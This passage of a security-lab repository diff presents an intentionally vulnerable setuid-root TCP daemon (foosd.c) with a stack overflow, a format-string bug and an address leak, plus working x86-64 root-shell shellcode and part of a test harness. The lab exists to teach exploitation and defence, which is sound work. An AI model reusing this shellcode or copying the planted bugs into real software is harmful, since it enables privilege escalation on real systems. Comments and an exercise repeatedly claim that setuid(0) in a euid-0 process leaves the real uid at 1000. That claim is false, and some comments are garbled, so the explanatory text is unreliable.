2. **Read the crash.** Run `./foosc -t demo -n` and then read `foosd.log`.
The `RIP=0x4141414141414141` line is the attacker's padding — the proof
that the overflow, not bad luck, controls execution.
3. **Add the canary.** `make hardened` and change the `test-hardened` loop
yourself; the log line `*** stack smashing detected ***` is the defence
working.
4. **Disable the leak.** Comment out the `BUF=` line in `foosd.c`,
rebuild, and watch `-t shellcode` go from deterministic to a guessing
game. That single line is why real ASLR bypasses are a whole field.
5. **The `-p` experiment.** In a copy of `win()`, change `execl("/bin/sh",
"sh", NULL)` to `execl("/bin/sh", "sh", "-p", NULL)` and observe root.
`-p` is the documented escape hatch from the shell's guard — and the
reason "just spawn a shell" advice from old write-ups is incomplete.
6. **Why not `setuid(0)`?** Rewrite the shellcode to call `setuid(0)`
instead of `setreuid(0,0)` (syscall 105). The shell still lands — and
still drops to `uid=1000`. This is the single most instructive one-line
experiment in the whole repository.
---
## 11. Safety and cleanup
- Loopback only, by default and by design; `-L` binds further, and only a
disposable VM should even consider it.
- This is a root-shell lab. Do not run it on a machine that matters, and do
not point `foosc -h` at anything you do not own.
- Cleanup ritual: `make stop` then `make unsetuid`, and if you want the tree
pristine again `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

1142
suid/foosc.c Normal file

File diff suppressed because it is too large Load diff

728
suid/foosd.c Normal file
View file

@ -0,0 +1,728 @@
/*
* ============================================================================
* foosd.c -- "foosd": an INTENTIONALLY VULNERABLE SUID-ROOT network daemon
* ============================================================================
*
* PURPOSE
* -------
* This is the SUID companion to `food`. Where `food` demonstrated how a
* buffer overflow becomes remote code execution, `foosd` demonstrates what
* happens when that RCE lands in a process whose *effective* uid is 0
* (root) because the binary has the setuid bit set.
*
* Run it without the setuid bit and you get a normal user shell, exactly as
* with food. Give the binary the setuid bit (`sudo make setuid`) and the
* exact same exploit-shipped shellcode opens a *root* shell -- because the
* process the shellcode runs in already has euid 0, and the shellcode is
* careful to clear the *real* uid as well (see the comment in foosc.c).
*
* This lab exists so you understand, hands-on, why "SUID bit + any reachable
* memory-corruption bug" is one of the most dangerous combinations in Unix,
* and -- the other half of the lesson -- why a carefully written SUID
* program is not necessarily safe either: the setuid bit silently changes
* the meaning of EVERY bug in the program.
*
* WHAT THE SETUID BIT ACTUALLY DOES
* --------------------------------
* Every process carries three user ids:
*
* real uid (ruid) the account that STARTED the process
* effective uid (euid) what the kernel checks when making decisions
* saved uid (suid) the "slot" a privileged process may return to
*
* A normal program has ruid == euid == saver. When you run a setuid binary:
*
* ruid = you (e.g. 1000, hanez)
* euid = the file owner (e.g. 0, root)
*
* The process is *root for all access-control purposes* even though the user
* who launched it is not. Every program under test in this lab is a child of
* that process (the daemon forks per connection), so each child also has
* euid 0. THAT is the whole attack surface the exploit aims at.
*
* THE CRUCIAL SECOND FACT -- WHY THIS LAB NEEDS setreuid SHELLCODE
* ----------------------------------------------------------------
* The classic "I got root, I'll just spawn /bin/sh" does NOT work from a
* setuid process, and the reason is a defence built into the shell itself:
*
* When bash (and dash, and most shells) starts with euid != ruid and is
* NOT given the `-p` (privileged) flag, it sets euid = ruid and walks
* away from the privilege. Bash documented this in its manual page. It
* exists precisely to stop a setuid binary from dropping the attacker
* into a root shell.
*
* So in this lab:
* win() -> execl("/bin/sh") -> shell, but uid 1000
* system("/bin/sh") -> ret2libc -> shell, but uid 1000
* shellcode without
* setreuid(0,0) -> execl -> shell, but uid 1000
* shellcode WITH
* setreuid(0,0) -> ruid becomes 0, bash sees equal uids,
* keeps euid 0 -> ROOT SHELL
*
* The shellcode in foosc.c therefore begins with setreuid(0, 0). That is the
* same reason the classic 24-byte /bin/sh shellcode you will find all over
* the internet starts with a setuid(0) syscall.
*
* SAFETY RAILS (please keep them in place)
* ----------------------------------------
* * Binds to 127.0.0.1 by default and REFUSES a non-loopback bind unless
* you pass -L. A setuid-root process listening on a real interface is a
* remote root hole waiting for a port scan. Do not do it.
* * Prints a startup warning to the log when it detects that it IS running
* with euid 0, because a well-designed daemon has no business being
* root on an unprivileged port (2343 > 1024).
* * Does not bind on 0.0.0.0 even with -L unless you also give -h 0.0.0.0;
* -L merely lifts the loopback *guard*.
*
* Build: make foosd (as your normal user)
* sudo make setuid (once, gives foosd the +s bit and root owner)
*
* THE BUILD FLAGS ARE THE SAME DELIBERATE REMOVALS AS food
* --------------------------------------------------------
* -fno-stack-protector no canary: the overflow is not detected
* -no-pie fixed addresses: win(), win_root() are constants
* -z execstack the stack is executable: shellcode can run
*
* `make hardened` rebuilds this file with all three re-enabled, which stops
* every technique, and `make test-hardened` shows you the log evidence.
* Note carefully in README.md: NOT ONE of those compiler mitigations does
* anything about the "the binary is setuid root" design decision. Memory
* safety and least privilege are two separate problems.
*
* Usage: ./foosd [-h HOST] [-p PORT] [-d] [-L]
* ============================================================================
*/
/* Request the gnu decls we need (dprintf, etc.). */
#define _GNU_SOURCE
#include <arpa/inet.h> /* inet_pton(): parse "127.0.0.1" into bytes. */
#include <errno.h> /* errno, strerror(). */
#include <fcntl.h> /* dup2() -- hand the accepted socket to the shell. */
#include <grp.h> /* setgroups(): part of the (never-called) privilege
* drop -- supplementary groups must go first. */
#include <netinet/in.h>/* struct sockaddr_in, htons(). */
#include <signal.h> /* signal(), sigaction(). */
#include <stdarg.h> /* va_list for our log wrapper. */
#include <stdint.h> /* uint16_t. */
#include <stdio.h> /* dprintf, snprintf. */
#include <stdlib.h> /* atoi, _exit, getenv. */
#include <string.h> /* memset, strncmp, memchr, strlen. */
#include <sys/socket.h>/* socket, bind, listen, accept. */
#include <sys/stat.h> /* umask. */
#include <sys/types.h> /* ssize_t, pid_t. */
#include <sys/ucontext.h>/* ucontext_t: REG_RIP etc. for the crash reporter. */
#include <sys/wait.h> /* waitpid(). */
#include <unistd.h> /* read, write, dup2, fork, getpid, setsid, chdir. */
/* ------------------------------------------------------------------------- */
/* Configuration constants */
/* ------------------------------------------------------------------------- */
/* Port. 2343 is deliberately not the 2342 used by food, so both labs can run
* side by side. It is above 1024 --- which is itself a teaching point: a
* correct daemon does not need root to bind this port, so being setuid is a
* design mistake, not a requirement. */
#define FOOSD_PORT 2343
/* Loopback is the ONLY default. -L is required to go further. */
#define FOOSD_HOST "127.0.0.1"
/* Size of the overflowed buffer. Same shape as food so the exploit's
* objdump-based offset detection (shared logic) works unchanged. */
#define FOOSD_BUFSZ 64
/* How much read() accepts. The mismatch with FOOSD_BUFSZ IS the bug. */
#define FOOSD_READMAX 512
/* Size of the second (format-string demo) buffer. */
#define FOOSD_LOGSZ 128
/* ------------------------------------------------------------------------- */
/* Logging (same design as food: the log never travels to the attacker) */
/* ------------------------------------------------------------------------- */
/* g_logfd -- a private copy of stdout taken BEFORE the socket is dup2()'d
* over fd 1. Every logmsg() line goes here, so a client that overwrites our
* memory or crashes a child never learns internal paths or addresses from
* logs (and never mixes its own bytes with ours). */
static int g_logfd = -1;
/* logmsg() -- timestamped, pid-prefixed line to the log descriptor. One
* write() per line, so forked children cannot interleave mid-line. */
static void logmsg(const char *fmt, ...)
{
char line[1024]; /* Whole-message scratch. */
va_list ap; /* Variadic argument cursor. */
int n; /* Bytes formatted. */
/* va_start MUST precede any use of ap. An uninitialised va_list makes
* vsnprintf walk wild stack memory -- a real bug that was hit in the
* earlier food.c, hence the comment. */
va_start(ap, fmt);
n = vsnprintf(line, sizeof(line) - 32, fmt, ap);
va_end(ap); /* Always pair va_start with va_end. */
if (n < 0)
return;
if (g_logfd >= 0)
dprintf(g_logfd, "[foosd %d] %s\n", (int)getpid(), line);
}
/* read_exact() / write_all() -- the CORRECT I/O helpers, present so you can
* hold them next to the deliberately broken read() in vulnerable_handler()
* and see the difference: these loop until done and check every result. */
__attribute__((unused))
static ssize_t read_exact(int fd, void *buf, size_t n)
{
size_t got = 0;
while (got < n) {
ssize_t r = read(fd, (char *)buf + got, n - got);
if (r < 0) {
if (errno == EINTR)
continue;
return -1;
}
if (r == 0)
break;
got += (size_t)r;
}
return (ssize_t)got;
}
static ssize_t write_all(int fd, const void *buf, size_t n)
{
size_t sent = 0;
while (sent < n) {
ssize_t w = write(fd, (const char *)buf + sent, n - sent);
if (w <= 0) {
if (w < 0 && errno == EINTR)
continue;
return -1;
}
sent += (size_t)w;
}
return (ssize_t)sent;
}
/* ------------------------------------------------------------------------- */
/* The ret2win targets */
/* ------------------------------------------------------------------------- */
/*
* win() -- the "easy" backdoor, and the reason a whole section of README.md
* exists. It is the same function as in food.c with ONE addition's worth of
* subtlety:
*
* execl("/bin/sh", "sh", NULL)
*
* gives the attacker a shell, but NOT a root shell, even though THIS process
* has euid 0, because bash/dash reset euid = ruid at startup when the two
* differ (and here ruid is still the launching user, e.g. 1000). So win()
* is a demonstration of control-flow hijack, and at the same time a real,
* documented example of a defence (the shell's privilege guard) that spoils
* what would otherwise be a one-line root shell.
*
* It is also precisely the trap people fall into with "SUID + system()": the
* injected command runs in a shell that just dropped the effective id, so on
* modern systems the classic setuid+system() trick no longer yields root --
* see README.md's "why the old one-liners fail" section.
*/
__attribute__((noinline, used))
static void win(void)
{
pid_t pid;
logmsg("win() reached -- exec'ing /bin/sh (uid will NOT be root while "
"euid!=ruid: the shell resets it; use win_root or shellcode for "
"a real root shell)");
/* Fork so the daemon's accept loop child can be reaped and return. */
pid = fork();
if (pid < 0) {
logmsg("win(): fork() failed: %s", strerror(errno));
_exit(1);
}
if (pid > 0) {
waitpid(pid, NULL, 0);
/* Must NOT return: that would pop attacker bytes as the next RIP. */
_exit(0);
}
/* Child. prepare_client_fds() already made fds 0/1/2 the socket. */
execl("/bin/sh", "sh", (char *)NULL);
_exit(127); /* Only reached if exec failed. */
}
/*
* win_root() -- the "privileged" backdoor. Byte-for-byte the same function
* as win() EXCEPT it first calls setreuid(0, 0).
*
* Why does that one line matter? Seeing it is the difference between a
* broken exploit and a root shell, so it deserves a close look:
*
* * setuid(0) would set euid = 0 and saved = 0 but LEAVE ruid = 1000.
* bash would then still see euid != ruid and still reset.
* * setreuid(0,0) sets BOTH real and effective to 0, and (being privileged)
* Linux also sets the saved id to 0.
* bash now sees euid == ruid == 0 and keeps root.
*
* That is why classic /bin/sh shellcode begins with a uid-clearing syscall:
* the "real" uid is the one the shell's guard compares against, and it must
* be cleared too. This function exists so `foosc -t ret2win-root` has a
* second, plain-C way to reach root and you can compare the two backdoors
* directly in the debugger.
*/
__attribute__((noinline, used))
static void win_root(void)
{
pid_t pid;
/* Nothing to check: a setuid process may set its uids arbitrarily. If
* foosd is NOT setuid this fails silently and the result is simply a
* non-root shell -- the lab works either way, which is deliberate. */
(void)setreuid(0, 0);
logmsg("win_root() reached -- setreuid(0,0) done, exec'ing /bin/sh");
pid = fork();
if (pid < 0) {
logmsg("win_root(): fork() failed: %s", strerror(errno));
_exit(1);
}
if (pid > 0) {
waitpid(pid, NULL, 0);
_exit(0);
}
execl("/bin/sh", "sh", (char *)NULL);
_exit(127);
}
/* ------------------------------------------------------------------------- */
/* The vulnerable handler -- Bug #1 and Bug #2 live here */
/* ------------------------------------------------------------------------- */
__attribute__((noinline, used))
static void vulnerable_handler(int fd)
{
char buf[FOOSD_BUFSZ]; /* 64 stack bytes. The whole ballgame. */
char line[FOOSD_LOGSZ]; /* Second buffer, for the format-string demo. */
ssize_t n; /* Bytes actually read. */
/*
* The BUF= leak -- the same deliberate CWE-200 disclosure as food. The
* stack is ASLR-randomised; without this the shellcode could not find
* itself. Real-world leaks of this kind come from %p format bugs, crash
* dumps, debug endpoints, or serialised uninitialised pointers.
*
* FIX: never print addresses to untrusted clients.
*/
dprintf(fd, "BUF=%p\n", (void *)buf);
/*
* ====================================================================
* BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120)
* ====================================================================
* Identical to food: 512 bytes are accepted into a 64-byte array, so the
* attacker writes 448 bytes past the end, overwriting the saved frame
* pointer and — 8 bytes later — the saved return address. On return,
* `ret` jumps wherever the attacker said:
*
* [ 64 bytes buf ][ 8 bytes saved rbp ][ 8 bytes RETURN ADDRESS ]
*
* The ONLY difference from food is *what that means*: here the hijacked
* process has euid 0, so "attacker controls RIP" becomes "attacker
* controls root's RIP".
*
* FIXES (in increasing order of strength):
* 1. n = read(fd, buf, sizeof(buf) - 1); <-- the real fix
* 2. -fstack-protector-strong (canary aborts `ret`)
* 3. do not take network input into fixed stack buffers at all
* And SEPARATELY: do not run this daemon setuid. Memory safety and
* least privilege are two different bugs; fix both.
*/
n = read(fd, buf, FOOSD_READMAX); /* <-- CWE-120, THE bug. */
if (n <= 0)
return;
/* Echo back a truncated copy so you can watch the overflow in the log.
* Clamping for display does not undo the overwrite that already happened. */
{
ssize_t show = n < FOOSD_BUFSZ ? n : FOOSD_BUFSZ;
logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show);
(void)write_all(fd, buf, (size_t)show);
}
/*
* ====================================================================
* BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134)
* ====================================================================
* Same as food: attacker '%'-specifiers in `buf` could read stack words
* with %x or write memory with %n. Here -- setuid root -- a %n is a
* write-what-where primitive IN A ROOT PROCESS, so this second bug is
* worse than it was in food. It runs only on a copy in `line`, and only
* triggers if the payload contains '%'.
*
* FIX: printf("%s", buf), never printf(buf).
*/
if (memchr(buf, '%', (size_t)n) != NULL) {
snprintf(line, sizeof(line), "%.*s", (int)FOOSD_LOGSZ - 1, buf);
logmsg("vulnerable_handler: payload contains '%%', echoing it raw");
(void)write_all(fd, line, strlen(line));
}
/* On return the (attacker-controlled) saved return address becomes RIP. */
}
/* ------------------------------------------------------------------------- */
/* Crash reporter (same rationale as food: a crash should tell you it was */
/* malicious; the fault address is the return address the client supplied). */
/* ------------------------------------------------------------------------- */
static void on_sigsegv(int sig, siginfo_t *si, void *ucv)
{
ucontext_t *uc = (ucontext_t *)ucv;
unsigned long rip = 0, rsp = 0;
if (uc != NULL) {
rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP];
rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP];
}
logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0);
logmsg("SIGSEGV: RIP=%#lx RSP=%#lx (RIP is the address the client "
"supplied)", rip, rsp);
logmsg("SIGSEGV: if RIP is a real address the attacker jumped there; "
"if it looks like 0x4028xx it may BE the `ret` itself: a ret "
"into a non-canonical address (e.g. 0x4141414141414141) faults "
"at the ret, not at the target.");
/* Re-raise with the default disposition so the process still dies, with
* the correct status, rather than re-executing the faulting instruction
* forever (returning from this handler would do exactly that). */
signal(sig, SIG_DFL);
raise(sig);
}
static void install_crash_reporter(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = on_sigsegv; /* Extended two-argument handler. */
sa.sa_flags = SA_SIGINFO;
sigemptyset(&sa.sa_mask);
if (sigaction(SIGSEGV, &sa, NULL) < 0)
logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno));
if (sigaction(SIGBUS, &sa, NULL) < 0)
logmsg("sigaction(SIGBUS) failed: %s", strerror(errno));
}
/* ------------------------------------------------------------------------- */
/* fd handling */
/* ------------------------------------------------------------------------- */
/* prepare_client_fds() -- put the accepted socket onto fds 0/1/2 so that
* every technique (ret2win, ret2libc, shellcode) produces a shell that
* automatically speaks over the network. */
static void prepare_client_fds(int fd)
{
if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO);
if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO);
if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO);
if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/
}
/* ------------------------------------------------------------------------- */
/* THE INFORMATION LEAK */
/* ------------------------------------------------------------------------- */
/*
* send_leaks() -- tell the attacker:
*
* ids= this process's euid/ruid. THE SUID DIAGNOSTIC.
* The exploit prints a warning when euid is not 0,
* because without the setuid bit there will be no root
* shell and the user would otherwise think the exploit
* is broken.
* leak stack=... an address on the stack, for the shellcode
* leak libc=... the real address of read() inside libc, for ret2libc
*
* The `ids=` spelling (rather than "euid="/"ruid=") is deliberate: the test
* harness proves a live shell by grepping for the string "uid=" in the
* session transcript, and "euid=" / "ruid=" both contain that substring, so
* printing them would make the banner itself pass the check. The ids= form
* cannot be confused with a shell's `id` output. This kind of "the probe and
* the answer must not share a signature" thinking is exactly what you do
* when you write real assertions about untrusted output.
*/
static void send_leaks(int fd)
{
long stack_marker = 0x4141414141414141L; /* Obvious in a debugger. */
ssize_t (*libc_read)(int, void *, size_t);/* Real address of read(). */
libc_read = &read; /* &read resolves through the GOT to libc. */
dprintf(fd, "FOOSD 1.0 ids=%d/%d leak stack=%p libc=%p\n",
(int)geteuid(), (int)getuid(),
(void *)&stack_marker, (void *)libc_read);
}
/* THE CORRECT DESIGN, PRESENT BUT NEVER CALLED
* -------------------------------------------
* drop_privs() -- what a well-written daemon would do the moment it no
* longer needs root. Two mistakes to notice, both of which are immune to
* every compiler mitigation:
*
* * ORDER: you must drop in the order gid-capabilities that matter --
* setgroups() before setgid() before setuid(), and only AFTER binding
* the port and opening any root-only files. Drop first and the whole
* point of root is gone.
* * PERMANENCE: setuid() to a nonzero value and check it stuck (a root
* process may later regain privileges via saved id otherwise).
*
* In this lab it is deliberately absent from the accept loop, because the
* lab NEEDS the children to stay root. Keeping the correct version in the
* source, commented, lets you diff "what should be here" against "what is
* here" -- the two-line difference is the entire exploit surface.
*/
__attribute__((unused))
static void drop_privs(void)
{
/* Order matters: setgroups() first (a non-root user may not), then
* setgid(), then setuid(). Never the reverse. */
(void)setgroups(0, NULL); /* Remove all supplementary groups. */
(void)setgid(1000); /* Lose group privileges. */
if (setuid(1000) < 0) /* Any non-zero uid is fine here. */
_exit(1); /* If we cannot drop, FAIL CLOSED. */
/* Verify. getuid()/geteuid() are cheap; a SUID program whose drop failed
* silently is a root hole wearing a costume. */
if (getuid() != 1000 || geteuid() != 1000)
_exit(1);
}
/* ------------------------------------------------------------------------- */
/* Per-connection handling */
/* ------------------------------------------------------------------------- */
static void handle_client(int fd)
{
static const char banner[] =
"FOOSD 1.0 - deliberately vulnerable SUID service\n"
"Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n";
prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */
install_crash_reporter(); /* Log (g_logfd) lines, not to the socket. */
logmsg("client connected (uid=%d euid=%d)", (int)getuid(), (int)geteuid());
(void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1);
send_leaks(STDOUT_FILENO);
vulnerable_handler(STDOUT_FILENO);
/* Only reached when the payload did NOT hijack RIP. */
logmsg("vulnerable_handler returned normally -- payload did not hijack RIP");
(void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29);
}
/* ------------------------------------------------------------------------- */
/* The server loop */
/* ------------------------------------------------------------------------- */
static int make_listener(const char *host, int port)
{
struct sockaddr_in addr;
int fd;
int one = 1;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
logmsg("socket() failed: %s", strerror(errno));
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno));
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons((uint16_t)port);
if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) {
logmsg("bad bind address: %s", host);
close(fd);
return -1;
}
if (port < 1 || port > 65535) {
logmsg("port out of range: %d", port);
close(fd);
return -1;
}
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno));
close(fd);
return -1;
}
if (listen(fd, 16) < 0) {
logmsg("listen() failed: %s", strerror(errno));
close(fd);
return -1;
}
return fd;
}
static void usage(const char *argv0)
{
fprintf(stderr,
"usage: %s [-h HOST] [-p PORT] [-d] [-L]\n"
"\n"
" -h HOST address to bind (default %s -- loopback only!\n"
" -L is required to bind anywhere else)\n"
" -p PORT TCP port to listen on (default %d)\n"
" -d daemonise: fork into the background\n"
" -L ALLOW binding to a non-loopback address (dangerous:\n"
" this binary is meant to be run SETUID ROOT)\n"
"\n"
"WARNING: this program is intentionally exploitable AND is meant\n"
"to be run setuid root. Do not run it on any host that matters,\n"
"never bind it beyond loopback, and remove the setuid bit with\n"
"`sudo make unsetuid` when you are done.\n",
argv0, FOOSD_HOST, FOOSD_PORT);
}
int main(int argc, char **argv)
{
const char *host = FOOSD_HOST; /* Bind address. */
int port = FOOSD_PORT; /* Bind port. */
int daemonise = 0; /* -d. */
int allow_nonloopback = 0; /* -L. The setuid safety guard. */
int lfd; /* Listening socket. */
int i; /* getopt() index. */
while ((i = getopt(argc, argv, ":h:p:dL")) != -1) {
switch (i) {
case 'h': host = optarg; break;
case 'p': port = atoi(optarg); break;
case 'd': daemonise = 1; break;
case 'L': allow_nonloopback = 1; break;
case ':': fprintf(stderr, "missing argument to -%c\n", optopt);
usage(argv[0]);
return 2;
default: usage(argv[0]);
return 2;
}
}
/*
* THE SETUID SAFETY GUARD.
*
* A setuid-root process that listens on a non-loopback interface is a
* remote root service. This guard is not a mitigation, it is a default:
* the administrator must consciously type -L to override it. Refuse by
* default, document the exception, fail loudly.
*/
if (!allow_nonloopback &&
(strcmp(host, "127.0.0.1") != 0 && strcmp(host, "localhost") != 0 &&
strcmp(host, "::1") != 0)) {
fprintf(stderr,
"foosd: refusing to bind %s: this binary may be setuid root.\n"
" Loopback is the only permitted default. If you really\n"
" know what you are doing, pass -L.\n", host);
return 1;
}
signal(SIGPIPE, SIG_IGN);
signal(SIGCHLD, SIG_IGN); /* Auto-reap forked children. */
/* Reserve a private log descriptor BEFORE sockets are dup2'd over fd 1. */
g_logfd = dup(STDOUT_FILENO);
if (g_logfd < 0) {
g_logfd = STDOUT_FILENO;
fprintf(stderr, "foosd: warning: could not reserve a log descriptor\n");
}
/*
* SELF-DIAGNOSIS OF THE SUID STATE -- printed once, to the log.
*
* "suid active": euid==0 and ruid!=0 -> a setuid-root binary
* "run as root": euid==0 and ruid==0 -> started by root directly
* "plain user": euid==ruid!=0 -> +s bit not set (yet)
*
* foosc reads euid over the socket and can warn too; this log line is
* for you at the console.
*/
logmsg("startup: ruid=%d euid=%d %s",
(int)getuid(), (int)geteuid(),
(geteuid() == 0) ? "-> ROOT process"
: "-> NOT root (set the setuid bit with make setuid)");
if (geteuid() == 0)
logmsg("startup: WARNING: this daemon is running as root. It exists "
"only to be exploited. Port %d does not need root.", port);
lfd = make_listener(host, port);
if (lfd < 0)
return 1;
logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY "
"VULNERABLE", host, port, (int)getpid());
if (daemonise) {
/* Standard double fork so we cannot acquire a controlling terminal. */
pid_t p1 = fork();
if (p1 < 0) { perror("fork"); return 1; }
if (p1 > 0) _exit(0);
if (setsid() < 0) perror("setsid");
pid_t p2 = fork();
if (p2 < 0) { perror("fork"); return 1; }
if (p2 > 0) _exit(0);
if (chdir("/") < 0) perror("chdir");
umask(022);
}
/* ---- The accept loop. Each child serves one connection as root. ----- */
for (;;) {
struct sockaddr_in peer;
socklen_t plen = sizeof(peer);
int cfd;
pid_t pid;
cfd = accept(lfd, (struct sockaddr *)&peer, &plen);
if (cfd < 0) {
if (errno == EINTR || errno == ECONNABORTED)
continue;
logmsg("accept() failed: %s", strerror(errno));
continue;
}
/*
* Fork per connection. The child KEEPS the root privileges -- that
* is Bug #3 in this lab, "no privilege drop before handling
* untrusted input" (CWE-271). See drop_privs() above for the code
* a real daemon would call at this exact point.
*/
pid = fork();
if (pid < 0) {
logmsg("fork() failed: %s", strerror(errno));
close(cfd);
continue;
}
if (pid == 0) {
close(lfd);
handle_client(cfd);
_exit(0);
}
close(cfd);
}
}

94
suid/shellcode.S Normal file
View file

@ -0,0 +1,94 @@
; ============================================================================
; shellcode.S -- the reference shellcode for the SUID lab (foosc)
; ============================================================================
;
; This is the byte-for-byte source of the SHELLCODE[] array in ../foosc.c.
; `make verify` assembles it with nasm and diffs the result against the C
; array, so a hand-maintained hex dump can never silently drift from the
; source of truth. Run it, do not just trust it.
;
; WHAT IT DOES
; ------------
; 1. setreuid(0, 0) -- make REAL and EFFECTIVE uid both root
; 2. execve("/bin/sh",0,0) -- replace this process with a root shell
;
; WHY THE FIRST SYSCALL MUST EXIST -- the whole point of this lab
; ----------------------------------------------------------------
; When a setuid-root binary runs, Linux gives the process euid 0 but leaves
; ruid = the launching user (e.g. 1000). Now:
;
; * execve() alone does NOT change the uids. euid stays 0 *in the process*.
; But bash and dash, on startup, compare euid against ruid, and when they
; differ (and -p is not given) they RESET euid = ruid -- the shell's own
; defence against exactly this attack. Result: plain execve("/bin/sh")
; from a setuid process gives you a shell that is NOT root.
;
; * setuid(0) is NOT enough either. On Linux, an unprivileged... no: even a
; privileged setuid(0) sets euid=0 (and saved=0) but LEAVES ruid
; untouched. bash still sees euid(0) != ruid(1000) and still resets.
;
; * setreuid(0, 0) sets BOTH ruid and euid to 0 (and, because euid 0 is
; privileged, saved too). bash now starts with euid == ruid == 0 and
; keeps root.
;
; So "clear the real uid as well" is not paranoia -- it is the *only* way a
; /bin/sh payload gets a root shell out of a setuid binary on a modern
; system. This is why the classic 24-byte shellcode you find all over the
; internet opens with a uid-clearing syscall.
;
; Register usage follows the System V AMD64 ABI: first integer args in
; rdi, rsi, rdx; syscall number in rax.
; ============================================================================
BITS 64
; ---------------------------------------------------------------------------
; 1) setreuid(0, 0)
; Linux x86-64 syscall 113: int setreuid(uid_t ruid, uid_t euid);
; ---------------------------------------------------------------------------
xor edi, edi ; 31 ff rdi = 0 -> ruid = 0
xor esi, esi ; 31 f6 rsi = 0 -> euid = 0
push 0x71 ; 6a 71 113 = __NR_setreuid
pop rax ; 58 rax = 113
syscall ; 0f 05 enter the kernel
; NOTES ON THE ENCODING:
; * `xor edi,edi` is 2 bytes and zeroes the full 64-bit rdi. "xor reg,reg"
; is the canonical way to zero a register -- not "mov 0", which is larger
; and a lot of CPUs special-case the xor anyway.
; * `push 0x71 ; pop rax` loads a small constant without a 7-byte
; `mov rax, imm64`. Pushing an imm8 sign-extends it to 64 bits; 0x71 =
; 113 fits, so this is both smaller and has no NUL bytes to worry about.
; * We deliberately do NOT check the syscall return: if foosd was NOT built
; setuid this fails with EPERM, and falling through to execve is exactly
; what we want (a plain, non-root shell) so the lab works both ways.
; ---------------------------------------------------------------------------
; 2) execve("/bin/sh", argv = NULL, envp = NULL)
; Linux x86-64 syscall 59
; ---------------------------------------------------------------------------
xor esi, esi ; 31 f6 rsi = 0 (argv = NULL)
xor edx, edx ; 31 d2 rdx = 0 (envp = NULL)
movabs rdi, 0x0068732f6e69622f
; 48 bf 2f 62 69 6e 2f 73 68 00
; rdi = "/bin/sh\0" as one little-endian word
push rdi ; 57 put the string on the stack
mov rdi, rsp ; 48 89 e7 rdi = pointer to the string
push 0x3b ; 6a 3b 59 = execve
pop rax ; 58 rax = 59
syscall ; 0f 05 replace this process
; WHY THE STRING IS BUILT THIS WAY:
; * There is no "push imm64"; the widest push immediate is sign-extended to
; 32 bits, so "/bin/sh\0" (8 bytes) cannot be pushed directly. Loading it
; into a register with movabs and pushing the register is the standard
; trick. The little-endian word 0x0068732f6e69622f is the bytes
; 2f 62 69 6e 2f 73 68 00 = "/bin/sh\0": the 8th byte is the NUL
; terminator, carried "for free" in the register.
; * argv=NULL/envp=NULL is legal for execve and keeps the payload tiny.
; A real exploit would pass an argv with the path for maximum shell
; compatibility; this lab's target shell (bash via /bin/sh) is happy.
; TOTAL: 32 bytes.

278
suid/tests/pty_suid_test.c Normal file
View file

@ -0,0 +1,278 @@
/*
* pty_suid_test.c -- test harness: drive ./foosc through a pseudo-terminal
* so the interactive shell it hands over to has a real terminal.
*
* Why a pty at all: the exploit's last act is to relay the user's terminal
* to the shell running on the victim. Anything already sitting on the real
* stdin (a pipe, a here-doc) is at the wrong end of that relay, so the
* commands must arrive via a real tty. This harness supplies one.
*
* What it proves, and in what order:
*
* SHELL the marker literal comes back AND real `id` output appears.
* Both are required because the marker alone also occurs in the
* command line we typed *to* the pty, so any harness that does not
* disable echo (see below) scores a false positive.
*
* ROOT the transcript contains "uid=0(", i.e. the shell on the far side
* really is root. That can only come from a live `id` executed by
* a root shell, and it is the entire claim of this lab.
*
* Flags:
* --must-root exit 0 only if BOTH a shell and ROOT are proven.
* Used for the techniques that MUST escalate (shellcode,
* ret2win-root).
* --dump FILE write the raw transcript for post-mortem analysis.
*
* Exit status without --must-root: 0 when a shell is proven (marker + uid=),
* regardless of root. That is how the Makefile reports the "demoted shell"
* techniques (ret2win/ret2libc), whose whole lesson is that they succeed as
* shells yet do NOT get root.
*
* The critical detail shared with tests/pty_test.c in the parent lab: the
* pty must run COOKED but with ECHO off. With ECHO on, the pty mirrors our
* own keystrokes back into the transcript, the command line "echo
* SUID-ROOT-OK" supplies the marker, and the harness reports success whether
* or not any shell ever ran. That silent false positive cost real time in
* the parent lab; it is documented there and avoided here from the start.
*/
#define _GNU_SOURCE
#include <errno.h> /* strerror(). */
#include <fcntl.h> /* open(), O_RDWR. */
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
#include <stdio.h> /* printf() and friends. */
#include <stdlib.h> /* _exit(). */
#include <string.h> /* strstr(). */
#include <sys/wait.h> /* waitpid(). */
#include <sys/select.h>/* select(): timeout without a busy loop. */
#include <termios.h> /* tcgetattr()/tcsetattr(). */
#include <signal.h> /* kill(), SIGKILL. */
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
/* The literal we ask the remote shell to print; seeing it come back (with
* ECHO off) proves a shell really echoed it from the other side. */
#define MARKER "SUID-ROOT-OK"
